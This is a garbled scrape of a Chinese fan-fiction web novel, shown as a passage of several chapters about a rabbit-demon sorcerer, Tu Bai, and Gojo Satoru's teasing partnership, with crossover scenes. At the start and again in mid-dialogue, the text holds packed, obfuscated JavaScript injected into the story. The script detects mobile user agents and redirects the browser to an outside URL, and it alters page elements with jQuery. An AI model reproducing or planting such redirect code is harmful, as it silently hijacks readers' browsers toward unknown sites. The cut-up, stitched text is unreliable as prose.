l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122994|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>前提是,五条悟真的会保密。 “为什么?”涂白听见自己问,“前辈为什么要帮我隐瞒?” 五条悟眨眨眼。 “因为有趣啊。”他说得理所当然,“一只兔子混进咒术界,还混到了一级,多好玩。而且你术式确实有用,我今天没骗人。解析你的妖力,说不定真能搞出点新东西。” 他拍拍涂白肩膀。 “别那么紧张。我又不吃兔子。” 说完,他转身朝大楼走去,走了几步回头:“下周三,高专训练场,下午两点。别迟到。” 他挥挥手,进了楼。 涂白站在原地,松树阴影落在他身上。他慢慢滑坐到地上,背靠着树干,抬手捂住脸。 耳朵还在烫。 他摸到耳根,皮肤下软骨的轮廓比平时更明显。再这样下去,真的会冒出来。 手机震动。 涂白掏出来看,是五条悟发来的消息。 【忘了说,研究申请表我填好了,已经提交。你那份我帮你签了字,不用谢~】 后面附了张照片,是申请表扫描件。申请人签名栏里,“五条悟”三个字签得龙飞凤舞。研究对象签名栏里……也是“涂白”两个字,笔迹模仿得七成像。 涂白盯着屏幕,不知道该气还是该笑。 又一条消息进来。 【哦对了,你耳朵现在是不是很烫?建议用冷毛巾敷一下。下次记得控制情绪哦,小兔子~】 涂白把手机塞回口袋。 他坐在那儿,坐了十分钟,等耳朵的烫感慢慢退下去。然后站起来,拍了拍裤子上的灰,走出总监部庭院。 外面街上车水马龙,阳光很好。 涂白站在路边,给大哥打了个电话。 电话响了三声,接通。 “喂,二宝?”涂宝的声音,背景音有点吵,像在咖啡厅,“怎么了?任务顺利吗?” “……顺利。”涂白说,“哥,我问你个事。” “嗯?” “如果……我是说如果,有个人类发现了我们的身份,但他没揭发,还说要‘研究’我的妖力,让我配合他三个月……”涂白顿了顿,“这人可信吗?” 电话那头安静了几秒。 “谁啊?”涂宝问,“咒术师?” “嗯。特级的。” “名字?” 涂白沉默。 涂宝倒吸一口凉气:“不会是……那个五条悟吧?你上次说跟他合作的那个?” “……嗯。” “涂白!”兔一声音拔高了,“你疯了?那可是五条悟!咒术界最强!他动动手指就能——” “他没动手指。”涂白打断他,“他还帮我签了字。” “什么字?” “研究申请。他申请研究我的妖力,总监部批了。” 涂宝不说话了。 背景音里传来咖啡机的声音,还有某人说话:“涂宝,我的咖啡好了没——” “等一下!”涂宝对那边喊,然后压低声音,“二宝,你听我说。五条悟这个人……名声很复杂。有人说他任性妄为,有人说他其实有原则。但不管怎样,他太强了,强到没人能约束他。你现在被他盯上……” “我知道。”涂白说,“但没得选。他已经知道了。” 又是一阵沉默。 “三个月?”涂宝问。 “嗯。” “每周几次?” “一两次。” “……小心点。”涂宝叹气,“随时联系。如果情况不对,我们立刻——” “跑路。”涂白接话,“我知道。” 挂断电话,涂白站在街边,看着来往车辆。 手机又震了一下。 这次不是五条悟,是任务调度科发来的通知。 【下周任务分配:一级咒术师涂白,与特级咒术师五条悟搭档,前往千叶县处理疑似特级咒灵事件。集合时间地点另行通知。请确认。】 下面有两个选项:【确认】和【申请调整】。 涂白盯着屏幕看了很久,手指悬在【申请调整】上。 最后,他按了【确认】。 屏幕跳转:【已确认。祝任务顺利。】 涂白收起手机,抬头看天。 东京的天空很蓝,云很少。 他想,三个月而已。 忍一忍就过去了。 4. 第4章:被迫搭档 研究申请批下来的第二天,五条悟的“折腾”就开始了。 早上七点,涂白还在睡觉,手机响了。他迷迷糊糊摸过来接,那边是五条悟精神十足的声音:“早啊小兔子,今天天气不错,要不要晨练?” 涂白看了眼窗外,天刚蒙蒙亮。 “前辈……我八点有课……” “翘掉。”五条悟说得理所当然,“来高专训练场,我等你。哦对了,帮我带份早餐,车站那家三明治,鸡蛋沙拉口味。” 电话挂了。 涂白瞪着手机,想打回去说“我不去”,但手指悬在拨号键上半天,最后还是叹了口气爬起来。 他买了三明治,赶到高专时七点四十。五条悟已经等在训练场,换了身运动服,白发扎了个小揪揪在脑后,眼罩换成墨镜。 “太慢了。”他接过三明治,咬了一口,“开始吧,今天测试你构筑术式的极限速度。” 所谓的测试,就是五条悟突然说个物品名,涂白得在三秒内构筑出来。从简单的刀剑盾牌,到复杂的机械结构,再到完全没见过的咒具仿品。涂白忙得团团转,妖力消耗像开了闸的水龙头。 中途他构筑一把长枪慢了半秒,五条悟凑过来戳他脸。 “分心了?”五条悟的手指凉凉的,捏了捏他脸颊,“想什么呢?” 涂白往后躲:“没、没想什么……” “耳朵红了哦。” 涂白赶紧摸耳朵,发现被骗了——根本没红,只是有点烫。五条悟笑得很开心。 这是第一次。 --- 第二次是周五下午。 涂白刚下课,正打算去便利店打工,手机又响了。这次不是电话,是连续三条消息。 【在哪儿?】 【总监部有个文件要你签字,过来一趟。】 【现在。】 涂白回复:【前辈,我六点要打工……】 五条悟:【推掉。】 涂白:【推不掉,已经排班了。】 五条悟:【时薪多少?】 涂白愣了一下,回:【1200日元。】 五条悟直接转了五万过来,附言:【今天的工资我付了,过来。】 涂白盯着转账界面,手指动了动。他想退回,但又觉得没必要跟钱过不去。最后收了,给店长发消息请假。 赶到总监部,发现根本没什么重要文件。就是一份普通任务报告,需要他补个签名。五条悟靠在办公室沙发上玩手机,看他进来,招招手。 “这儿。” 涂白走过去签名,五条悟突然伸手揉他头发。 “哎,你头发好软。”五条悟说,手掌在他头顶胡乱搓了两下,“像兔子毛。” 涂白僵住,笔尖在纸上划出一道痕。 “……前辈。” “嗯?” “别这样。” “为什么?”五条悟没停手,反而变本加厉,另一只手也伸过来捏他耳垂,“你不舒服?” 涂白浑身汗毛都竖起来了。耳朵是绝对禁区,耳垂尤其敏感。他猛地后退,撞到茶几,差点摔倒。 五条悟收回手,歪头看他:“反应这么大?” 涂白捂着耳朵,脸涨得通红:“就……不习惯。” “哦。”五条悟点点头,然后笑了,“那多碰几次就习惯了。” 他站起来,揽住涂白肩膀往外走:“签完了,走吧,请你吃晚饭。” 涂白被他半拖半拽地带出办公室。五条悟的手臂很重,搭在他肩上,体温隔着衣服传过来。涂白浑身不自在,但又不敢挣开。 “前辈,我能问个问题吗?” “说。” “你……是不是故意的?” “什么故意的?” “碰我。”涂白说,“你知道我不适应,还一直……” 五条悟停下脚步,转头看他。墨镜滑到鼻梁下,冰蓝色的眼睛露出来,带着笑意。 “是啊。”他承认得爽快,“因为你有反应的样子很好玩。” “……好玩?” “嗯。”五条悟重新戴好墨镜,“像逗真的兔子一样,一碰就跳。多可爱。” 涂白说不出话。 他觉得这人没救了。 --- 第三次最过分。 周日晚上十一点,涂白刚洗完澡准备睡觉,手机震了。他以为又是五条悟,拿起来一看,是任务调度科的紧急通知。 【一级咒术师涂白,请立即前往新宿区XX街道,与五条悟汇合,处理突发咒灵事件。】 下面附了定位。 涂白皱眉。这个时间,这个地点……他快速换了衣服出门,赶到现场时,看见五条悟正蹲在路边,跟一只流浪猫玩。 “前辈?”涂白走过去,“咒灵呢?” “啊,你来啦。”五条悟站起来,拍拍手上的灰,“咒灵?哦,已经被我解决了,就在你来的路上。” 涂白愣住:“那为什么还叫我……” “因为一个人回去很无聊啊。”五条悟笑嘻嘻地说,“陪我吃宵夜吧,我知道这附近有家很好吃的关东煮。” 涂白盯着他,胸口堵着一股气。 “前辈,”他一字一句地说,“我明天早上有专业课,要交报告。” “几点?” “八点半。” “那现在才十一点半,吃完宵夜送你回去,还能睡六小时呢。”五条悟走过来,很自然地搂住他脖子,“走啦走啦,我请客。” 涂白被他拖着走,心里那点怒气慢慢变成了无力感。 这人根本不听人说话。 --- 周一早上,涂白顶着黑眼圈去了学校。上完课,他直接冲回公寓,打开电脑,登录咒术界内部系统,找到任务搭档调整申请表。 他写了三条理由: 1. 学业繁忙,时间冲突。 2. 术式适配度不足(编的)。 3. 个人身体原因。 提交。 第二天,驳回。理由:五条悟特级指定,不予调整。 涂白重新填表,这次换了理由: 1. 希望积累与不同术师合作经验。 2. 性格不合。 3. 请求尊重个人意愿。 提交。 再次驳回。理由同上。 第三次,涂白打电话给调度科,语气诚恳:“我真的没办法继续和五条前辈搭档了,能不能通融一下……” 接电话的是个女职员,声音很温柔:“涂白君,我理解你的心情。但五条先生特意交代过,你的所有调离申请都必须经过他同意。我们也很为难。” 涂白挂断电话,瘫在椅子上。 下午,伊地知来了,站在公寓门口擦汗。 “涂白先生……五条先生说,如果你再申请调离,他就亲自来‘劝说’。”伊地知递过来一个文件夹,“这是本周的任务安排,还是和五条先生搭档。周三下午,清理下水道咒灵群,地点在……” “我知道了。”涂白接过文件夹, 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不是有意识的构筑,是恐慌下的应激爆发。银色光芒炸开,在他身后凝聚成一堵墙——不是普通的水泥墙或金属墙,是胡萝卜。 一根根巨大的、橙色的胡萝卜,交错堆叠,形成一堵三米宽两米高的胡萝卜墙。上面还带着绿色的萝卜缨子,翠绿翠绿的。 咒灵撞在胡萝卜墙上,发出沉闷的“噗”声。胡萝卜没碎,只是晃了晃。 涂白看着这堵墙,傻了。 下面传来五条悟的笑声。 他从井口跳上来,手里拎着最后两只咒灵的残骸,看到胡萝卜墙,笑得更厉害了。 “哈哈哈——这是什么?”五条悟走过去,戳了戳胡萝卜,“真的假的?能吃吗?” “前辈……”涂白脸通红,“别碰!” “为什么?这不是你做的吗?”五条悟掰了一小块下来,塞进嘴里,嚼了嚼,“嗯,甜的。是胡萝卜味的糖?” 涂白想死的心都有了。 妖力暴走时构筑出的东西,往往会反映术师潜意识里最熟悉或最渴望的物品。兔妖最熟悉胡萝卜,这很合理,但合理不代表不丢人。 五条悟一边笑一边把剩下的咒灵清理完,然后站在胡萝卜墙前打量。 “你的术式真的好可爱。”他说,“以后能不能专门构筑这个?拿来当障碍物应该挺好用,还能吃。” “……不能。”涂白散掉妖力,胡萝卜墙化作银光消失。他低头检查地面,确保没留下残秽,然后转身要走。 “等等。”五条悟拉住他手腕。 涂白回头。 五条悟脸上还带着笑,墨镜后的眼睛弯成月牙。他自然地揽住涂白肩膀,往自己这边带了带。 “为了庆祝合作顺利,”他说,“去吃甜品吧~我请客。” 涂白张嘴想拒绝,但五条悟根本没给他机会。 周围景色一晃。 不是走路,不是开车,是瞬移。空间扭曲的短暂眩晕后,涂白发现自己站在一条繁华街道上。面前是一家装修精致的甜品店,玻璃橱窗里摆着各种漂亮的蛋糕和点心。店门口挂着招牌,写着法文,他不认识。 五条悟还搂着他,语气得意: “这家店的蒙布朗是全东京最好的。走,给你尝尝。” 涂白看着甜品店的门,又看看五条悟笑得灿烂的侧脸。 他想,这日子什么时候是个头。 5. 第5章:甜品店的试探 甜品店里很安静。下午三点多,却没有客人,靠窗的位置阳光正好。 五条悟一进门就跟店员熟络地打招呼,显然常来。他找了个角落的卡座坐下,涂白犹豫了一下,坐他对面。 “这家店我包场了。”五条悟说。 涂白一愣:“包场?” “嗯,从三点到四点,就我们俩。”五条悟摘下墨镜放在桌上,眼睛扫过菜单,“省得有人打扰。” 涂白不知道接什么话。包场听上去很贵,但他现在不想关心这个。 店员走过来,是个笑眯眯的中年女人:“五条先生,老样子?” “今天多点几样。”五条悟把菜单推给涂白,“你想吃什么?” 涂白低头看菜单。法文,看不懂,但有配图和日文标注。蒙布朗、草莓蛋糕、巧克力挞、各种泡芙……每样都标着让人肉疼的价格。 “我……”涂白想说“随便”,但五条悟已经替他决定了。 “每样都来一份。”他对店员说,“再要两杯红茶,糖和牛奶分开上。” “好的,请稍等。” 店员离开后,涂白小声说:“前辈,太多了……” “不多,正好。”五条悟靠在椅背上,打量他,“我想看看你喜欢哪种口味。” 涂白心里一紧。 来了。测试。妖族和人类的味觉可能有差异,尤其是对甜度的敏感度。兔妖嗜甜,他平时都刻意控制,吃普通甜度就好,不敢显露太明显的偏好。 但五条悟在观察他。 很快,甜品上桌了。十几盘,摆满了整张桌子。蒙布朗的栗子奶油堆得像小山,草莓蛋糕上的鲜红果实闪闪发亮,巧克力挞表面光滑如镜。空气里弥漫着糖和奶油的甜香。 涂白咽了口口水。 “吃吧。”五条悟说,自己先挖了一勺蒙布朗,“从左上角开始,每样尝一口,告诉我感想。” 涂白拿起小勺子,手有点抖。 第一份是柠檬挞。他舀了一小口,酸味很冲,但后调是清爽的甜。他尽量让表情平静:“……好吃。” “多好吃?打分,十分制。” “八分。” “为什么扣两分?” “太酸了。”涂白说完就后悔——兔妖不喜欢过酸的东西,这算暴露吗? 但五条悟只是点头,在手机上记了什么。 第二份是草莓蛋糕。奶油轻盈,草莓新鲜,甜度适中。涂白吃了,老实说:“九分。” “为什么?” “平衡得好。” 第三份是巧克力熔岩蛋糕。切开后浓稠的巧克力酱流出来,甜中带苦。涂白尝了,眼睛微微睁大——这个好。 “九点五。”他说。 “哦?喜欢巧克力?” “……嗯。” 涂白低头继续尝。每种只吃一小口,然后简短评价。他努力控制表情,但吃到特别合口味的——比如那个撒了金箔的焦糖布丁——还是会忍不住眼睛亮一下。 五条悟一边吃自己的蒙布朗,一边看他。没说话,但涂白能感觉到视线。 全部尝完一圈,涂白的勺子在最后一份芒果慕斯上停住。 “怎么?”五条悟问。 “这份……”涂白犹豫,“能吃完吗?” “想吃完就吃完。” 涂白舀了一大口。芒果的甜味很浓郁,慕斯口感丝滑,他吃得眯起眼睛。等反应过来时,一份已经吃完了。 他放下勺子,有点尴尬。 五条悟笑了。 “喜欢芒果?” “……嗯。” “还喜欢焦糖布丁,巧克力,还有那个树莓挞。”五条悟数着,“不喜欢酸的,不喜欢酒味重的,不喜欢太腻的。总结:喜欢纯粹的高甜度,讨厌复杂刺激的味道。” 涂白僵住。 “我说对了?”五条悟托着下巴看他,“你的表情很好懂。吃到喜欢的,眼睛会亮,耳朵会动——虽然没露出来,但我看见耳根那里的皮肤在抽动。吃到不喜欢的,会微微皱眉,勺子会多搅两下。” “前辈……” “这很正常啊。”五条悟说,“每个人口味不同。我只是好奇,你为什么一开始要装得每种都喜欢?” 涂白答不上来。 店员过来续茶。五条悟又要了份蒙布朗,等店员走了,他忽然问: “你为什么怕咒灵?” 涂白正在喝红茶,差点呛到。 “明明很强。”五条悟继续说,“地下停车场那次,你闭着眼睛都能砍中核心。这水平放在一级里也算顶尖了。但你看见咒灵第一反应是躲,是闭眼,是尖叫。为什么?” 涂白放下茶杯。杯底碰到碟子,发出轻微的碰撞声。 他在想怎么编理由。训练不足?心理阴影?性格使然? 但五条悟看着他的眼睛,冰蓝色的,像能看穿所有谎言。 涂白听见自己说: “因为它们长得丑。” 说完他就想咬舌头。 五条悟愣住了。 然后他笑起来。不是之前那种轻笑,是放声大笑,整个人往后仰,手拍在桌子上,震得杯碟乱响。周围没其他客人,但店员都看过来。 “哈哈哈——什么?”五条悟笑出眼泪,“长得丑?就因为这个?” 涂白脸通红:“不行吗?” “行,当然行!”五条悟擦擦眼角,“我第一次听到这种理由。别人都说什么‘咒灵邪恶’‘危害人类’,你倒好,‘长得丑’……哈哈哈!” 涂白低头搅红茶,想把自己埋进杯子里。 “那如果咒灵长得好看呢?”五条悟笑够了,问,“比如……变成大帅哥大美女的那种?你就不怕了?” “会怕。”涂白闷声说,“好看但扭曲,更吓人。” “那如果变成胡萝卜呢?” 涂白瞪他。 五条悟又笑起来。 甜品吃得差不多了。五条悟叫来店员结账,签单时涂白瞥了眼金额,眼皮一跳——够他一个月生活费。 走出店门,下午的阳光还很好。五条悟伸了个懒腰,从袋子里拿出一个小盒子递给涂白。 “给你的。” 涂白接过,打开,里面是六个毛豆生奶油喜久福。 “这家店的招牌,外带装。”五条悟说,“带回去吃。哦对了,明天有空吗?” “……有。怎么了?” “陪我看电影。”五条悟说,“恐怖片,练胆。你怕咒灵不就是因为它们长得丑吗?多看恐怖片,适应一下,以后就不怕了。” 涂白想拒绝,但五条悟已经摆手走了。 “明天下午两点,涩谷影院,我买票。记得来~” 他瞬移消失,留下涂白一个人站在甜品店门口,手里捧着那盒喜久福。 --- 回到家,涂白把喜久福放进冰箱,然后瘫在沙发上。 手机震了,是五条悟发来的消息:【票买好了,明天见。】 后面附了电子票截图,片名是《咒怨:完结篇》。 涂白回了个【。】,然后把手机扔到一边。 他躺了会儿,爬起来给大哥打电话。 电话接通,涂宝那边很吵,像是在讨论案情,他记得他哥兼职的咖啡厅楼上就是一个侦探社,估计是侦探社的人来喝咖啡。 “二宝?咋了?” “哥,”涂白说,“我问你个事。” “嗯,你说。” “五条悟……好像没那么可怕?” 电话那头沉默了五秒。 然后涂宝的尖叫声差点刺破涂白耳膜:“你被他下蛊了吗?!上次你还说他要研究你妖力!这才几天?!” “但他今天请我吃甜品,还送我喜久福……” “那是糖衣炮弹!涂白你清醒一点!他是特级咒术师!特级!还是五条家的!这种人会随便对别人好吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122996|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涂白不说话了。 涂宝喘了口气,声音压低:“二宝,你听我说。人类很复杂的,尤其是那些站在顶端的。他们对你笑,对你好,可能只是一时兴起,或者……或者有别的目的。你别那么容易相信人。” “我知道。”涂白说,“我就是觉得……他好像没那么坏。” “坏不坏另说,但他危险。”涂宝说,“离他远点。能躲就躲。” 挂了电话,涂白盯着天花板。 冰箱里的喜久福还在散发着甜香。 --- 第二天下午两点,涩谷影院。 涂白到的时候,五条悟已经等在门口,手里抱着一大桶爆米花和两杯可乐。他今天穿了件灰色连帽卫衣,看起来比实际年龄小几岁。 “迟到了一分钟。”五条悟说。 “电车晚点。” “借口~走吧,快开场了。” 放映厅里人不多,他们坐在中间排。灯光暗下,电影开始。 涂白其实不怕恐怖片——或者说,他怕,但爱看。那种明知会吓到还要看的自虐快感,他很熟悉。但今天不一样,五条悟坐在旁边,他不想露怯。 开头十分钟,还算温和。直到那个经典场景:女鬼从楼梯上爬下来,关节发出咔嚓咔嚓的声音。 涂白屏住呼吸。 五条悟突然凑过来,在他耳边小声说:“这个姿势对脊椎不好。” 涂白:“……” 下一段,鬼小孩出现在被窝里。 五条悟:“这被子质量不错,完全没透光。” 再下一段,血腥场面。 五条悟:“血浆颜色太假了,像番茄酱。” 涂白忍无可忍:“前辈,你能不能安静看?” “我在看啊。”五条悟无辜地说,“我只是在评价特效。” 电影进入高潮,音效越来越惊悚,jump scare一个接一个。涂白抱着爆米花桶,手指收紧。当屏幕里突然冒出鬼脸时,他还是没忍住,整个人一抖。 爆米花撒了点出来。 五条悟笑出声。 “怕了?” “……没有。” “那你抖什么?” “冷。” “放映厅空调是26度。” 涂白不说话了,专心盯着屏幕,假装没听见。 电影散场时,涂白手心全是汗。走出影院,外面天还亮着,他松了口气。 “怎么样?”五条悟问,“练胆有效果吗?” “没。”涂白实话实说,“还是怕。” “那多看几部?” “不要。” 五条悟又笑起来。他往前走,涂白跟在他身后半步。 “请你吃晚饭。”五条悟说,“补偿你受的惊吓。” “不用……” “要的。前面有家甜品自助,听说有芒果慕斯无限量。” 涂白脚步一顿。 五条悟回头看他,笑得狡猾:“去不去?” 涂白挣扎了三秒。 “……去。” 坐在甜品自助店里,看着面前堆成小山的芒果慕斯、巧克力蛋糕、焦糖布丁,涂白一边吃一边在心里骂自己。 没出息。被一点甜品就收买了。 但真的很好吃。 五条悟坐在对面,只要了杯咖啡,看着他吃。 “你不吃?”涂白问。 “看你吃就够了。”五条悟说,“比电影有趣。” 涂白低头,耳朵又有点烫。 他想,下次绝对不会再被甜品诱惑了。 绝对。 手机震了一下,是下周的任务通知。又是和五条悟搭档。 涂白看了眼对面的人,那人正低头玩手机,嘴角还带着笑。 涂白舀了一大口慕斯,塞进嘴里。 甜味在舌尖化开。 ……算了,下次的事下次再说。 6. 第6章:指导后辈 周一早上九点,涂白站在咒术高专门口。 手机里是五条悟半小时前发的消息:【到了直接来操场,带上你的术式~】 涂白深吸一口气,走进校园。高专比他想象中安静,建筑古朴,庭院里种着枫树。路上没遇到人,他按着指示牌找到操场——一个露天的大型圆形场地,周围有结界围挡。 远远看去,已经有人了。 五条悟坐在场地边的长椅上,翘着腿玩手机。旁边站着三个学生:一个粉头发表情明朗的男生,一个黑发海胆头的冷淡男生,一个橘色短发的女生。三人穿着高专制服,看到涂白进来,目光齐刷刷转过来。 “哦,来了。”五条悟收起手机,“介绍一下,这位是一级咒术师涂白,今天临时请来当你们陪练的。” 三个学生朝涂白点头。粉头发男生挥手:“前辈好!我是虎杖悠仁!” “伏黑惠。” “钉崎野蔷薇。” 涂白回礼:“我是涂白,请多指教。” “那么,”五条悟站起来,“今天的内容是实战适应训练。涂白会用他的构筑术式模拟各种攻击和防御,你们要配合破解。规则很简单——碰到他就算你们赢,被他困住超过十秒就算你们输。开始吧。” 涂白愣了一下:“前辈,我没说要当陪练……” “现在说了。”五条悟拍拍他肩膀,“去吧,别放水。” 涂白被推进场地中央。三个学生分散开,虎杖在正面,伏黑在左,钉崎在右。气氛一下子紧张起来。 “涂白前辈,”虎杖摆出起手式,“得罪了!” 他率先冲过来,速度很快。涂白本能后退,同时双手一合,银色妖力涌出,在面前构筑出一面半透明的盾牌。 虎杖的拳头砸在盾上,发出闷响。盾牌晃了晃,没碎。 “哇,好硬!” 趁这个空档,伏黑双手结印:“鵺!” 一只巨大的猫头鹰式神从影子里飞出,扑向涂白头顶。涂白左手维持盾牌,右手向上一指,银色锁链从掌心射出,缠住式神的爪子。 钉崎从侧面突袭,手里握着锤子和钉子。涂白侧身躲开,同时用妖力在地面构筑出绊索。钉崎反应快,跳起来避开,但落地时涂白已经在她脚下构筑出一个小型结界——圆形的光牢,把她困在里面。 “钉崎,出局~”五条悟在场边喊,“十秒到了。” 钉崎捶结界壁:“可恶!” 伏黑指挥式神挣脱锁链,虎杖再次攻来。这次他换了角度,想绕到涂白侧面。涂白散掉盾牌,妖力重新凝聚,这次构筑出十几把短刀,悬浮在空中,刀尖对准两人。 “去。” 短刀齐射。虎杖用拳头格挡,伏黑用影子防御。叮叮当当一阵响,短刀被弹开,但涂白已经趁机拉开距离。 五条悟在场边看着,墨镜下的六眼全开。 他能看到涂白体内的妖力流动:每次构筑,妖力都会从核心涌向四肢,再通过手掌释放。构筑物的结构越复杂,妖力路径就越精细。那些银色的妖纹不是装饰,是能量传导的轨迹,像电路板一样。 盾牌的结构很标准,但锁链有点意思——每节锁环都是独立构筑再连接的,消耗更小。结界则是网状结构,节点分布均匀。 五条悟在手机备忘录里快速记录。 场上,战斗还在继续。涂白构筑出刀、剑、长矛、飞镖,各种武器轮番上阵。虎杖和伏黑配合不错,一个近战强攻,一个远程牵制,但始终碰不到涂白。 打了十分钟,两人都有些喘。涂白也消耗不小,额头冒汗。 “停。”五条悟喊。 三人停手。涂白散掉手里的长枪,银色光芒缩回掌心。 “不错不错。”五条悟走过来,“构筑速度比上次快了0.3秒,维持时间也长了。但精度有下降——最后那把枪的枪尖歪了0.5毫米,你自己没发现吧?” 涂白一愣,回忆刚才的手感。好像……确实有点偏? “继续。”五条悟对虎杖和伏黑说,“这次加个条件:涂白,你不能移动位置。” “啊?”涂白转头看他。 “站在圆心,半径五米内随意构筑,但脚不能离地。”五条悟说,“开始。” 虎杖和伏黑再次攻来。这次涂白不能躲,只能纯防御和反击。他构筑出四面盾牌围住自己,像个金属龟壳。虎杖的拳头和伏黑的式神攻击全打在盾上,砰砰作响。 五条悟看得更仔细了。 多重构筑,同时维持四个独立物体,妖力分成四股,每股的强度和稳定性都要控制得当。这对术式的精细度要求极高。 涂白咬着牙坚持。四面盾牌开始出现裂痕,他赶紧修复,但妖力消耗太快。 “够了。”五条悟再次叫停。 涂白松口气,散掉盾牌,腿有点软。 五条悟走到他面前,突然说:“试着构筑我。” 涂白抬头,没反应过来:“……什么?” “我。”五条悟指了指自己,“用你的术式,构筑一个‘五条悟’。能做到吗?” 场边的三个学生也好奇地看过来。 涂白犹豫了。构筑活物……他没试过。但五条悟说的是“构筑我”,不是“复制一个活的我”,应该是构筑一个形象,像雕塑那样。 他集中精神,调动妖力。 银色光芒在掌心凝聚,慢慢成型。先是轮廓,然后是细节。身高,体型,衣服……但构筑到脸的时候,涂白卡住了。 他不敢仔细看五条悟的脸。尤其是那双眼睛,六眼的结构太复杂,他根本构筑不出来。 妖力开始不稳定,银色光团晃动。涂白有点急,下意识想到了一个简单的形象——卡通版的。 光芒稳定下来,成型。 一个二十厘米高的Q版玩偶,落在涂白手心。 白发,戴着小墨镜,穿着迷你版高专制服,手里还捏着一个更迷你的喜久福。脸是圆圆的,眼睛是两颗蓝色小珠子,嘴巴是向上弯的弧线。腿……有点短,身体比例像三头身。 全场安静。 虎杖第一个笑出来:“噗……好可爱!” 伏黑别过脸,肩膀在抖。钉崎凑过来看:“哇,这个好!比真人可爱多了!” 五条悟沉默了三秒。 然后他伸手,捏起玩偶的短腿:“我的腿哪有这么短?” 涂白脸红了:“因、因为Q版……” “还有这个,”五条悟戳了戳玩偶手里的喜久福,“我就这么爱吃甜品?” “……难道不是吗?” 五条悟盯着玩偶看了会儿,忽然笑了。 他一把抢过玩偶,塞进自己外套口袋。 “我要了。” “前辈,还给我……” “不给。”五条悟理直气壮,“这是学费。我今天指导你这么多,收个玩偶不过分吧?” 涂白张了张嘴,说不出反驳的话。 虎杖举手:“涂白前辈,能给我也做一个吗?我模样的!” 伏黑虽然没说话,但眼神也有点期待。钉崎:“我要个时髦点的!” “不行。”五条悟挡在涂白面前,“他是我的御用搭档,只能构筑我。你们想要找别人去。” 虎杖小声吐槽:“五条老师真小气……” “我听见了哦。” 训练结束,五条悟送涂白出校门。路上,涂白还在想那个玩偶。 确实挺可爱的。要不……自己也做几个? 他边走边调动妖力,在掌心又构筑出三个玩偶。一个粉色卷毛的兔宝,抱着根胡萝卜;一个银白长发的涂兔,拿着把小刀;还有一个黑色卷毛的自己,耳朵稍微露出来一点尖尖。 每个都是二十厘米高,做工精细。 五条悟瞥见:“这什么?” “我哥哥和弟弟,还有我自己。”涂白说,“准备送他们的。” 五条悟盯着那个黑色卷毛的玩偶:“我要这个。”
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刚发完,身后有人凑过来。 “什么好东西?”太宰治把下巴搁在涂宝肩上,看向他手里的玩偶,“哦?你弟弟做的?” “嗯!”涂宝献宝似的举起来,“像我吗?” “像。”太宰治伸手拿过玩偶,“我帮你保管吧。” “诶?为什么?” “因为是我男朋友模样的玩偶啊。”太宰治理所当然地说,“当然要由我来收藏。” “但这是我弟弟送我的……” “放在我这里,你也可以随时来看。”太宰治把玩偶收进自己风衣口袋,“好了,该去工作了。” 涂宝瘪嘴,但没敢要回来。 算了,放治君那里也行……反正他随时可以要回……大概。 --- 同一时间,意大利西西里岛。 涂兔收到国际快递,拆开看到玩偶,眼睛亮了一下。他把玩偶摆在床头,拿起手机想拍照,又停住。 发给谁看?纲吉? ……不行,自己还没原谅他呢。上次那件事,明明是他不对。 涂兔放下手机,抱着膝盖坐在床上,盯着玩偶发呆。 傍晚,房门被敲响。 “兔兔?我能进来吗?” 是泽田纲吉的声音。涂兔没吭声,门还是开了。纲吉走进来,手里提着甜品盒,看见床头的玩偶,愣了一下。 “这是……” “我二哥做的。”涂兔闷声说,“我的那份。” “很可爱。”纲吉走过来,仔细看了看,“真的很像你。头发,眼睛,还有这个小刀……细节做得很好。你二哥手艺真厉害。” 涂兔偷偷竖起耳朵。 纲吉把甜品盒放在床头柜上,打开,里面是涂兔最喜欢的提拉米苏。 “兔兔,对不起。”纲吉轻声说,“我不该瞒着你出差。我保证下次一定提前说,好吗?” 涂兔不说话,但手指揪着床单。 纲吉在他身边坐下,小心地把他圈进怀里。涂兔象征性挣扎了一下,没挣开,就随他去了。 “这个玩偶,”纲吉继续夸,“真的做得很好。我可以拍张照吗?想设成手机壁纸。” “……随便你。” 纲吉笑了,知道这是消气了。他拿起玩偶,拍了照,然后低头亲了亲涂兔的头发。 “下次带你回日本见你哥哥们,好不好?” “哼,我可还没原谅你。” 话虽如此,但是涂兔还是往他怀里靠了靠。 玩偶静静地坐在床头,银色的头发在夕阳下泛着柔和的光。 7. 第7章:意外的保护 任务地点在东京郊外的一个废弃化工厂。铁锈和化学品的臭味混在一起,涂白戴了两层口罩还是觉得刺鼻。 五条悟走在他前面,手里拿着个平板,上面是工厂的结构图。 “目标:特级咒灵‘噬术者’。”五条悟边走边说,“能力是吸收术式能量,转化成自己的攻击。已知它能吸收三级以下术式无压力,二级需要三秒,一级……没试过,今天试试。” 涂白跟在他身后半步:“吸收术式?那前辈的……” “无下限也是术式,理论上也能被吸。”五条悟说得轻松,“不过它得先碰到我。” 工厂内部很暗,只有几缕阳光从破窗照进来。地上有积水,倒映着扭曲的管道影子。空气里的咒力残秽很浓,像粘稠的雾。 走到中央反应釜区时,五条悟停下脚步。 “来了。” 涂白顺着他的视线看去。反应釜的阴影里,有什么东西在蠕动。一开始只是一团黑影,慢慢膨胀,拉长,最后成型。 那东西没有固定形态,像一团不断变化的黑色胶质。表面有时浮现出人脸,有时又变成扭曲的肢体。最诡异的是,它周围的空间在微微扭曲,像高温下的空气。 “吸收术式的特性导致它周围有能量紊乱场。”五条悟解释,“普通的物理攻击可能更有效——可惜我今天没带锤子。” 咒灵动了。 不是扑过来,是“流”过来。黑色胶质沿着地面蔓延,速度很快。涂白本能后退,但五条悟站着没动。 胶质碰到五条悟脚下的瞬间,无下限发动。 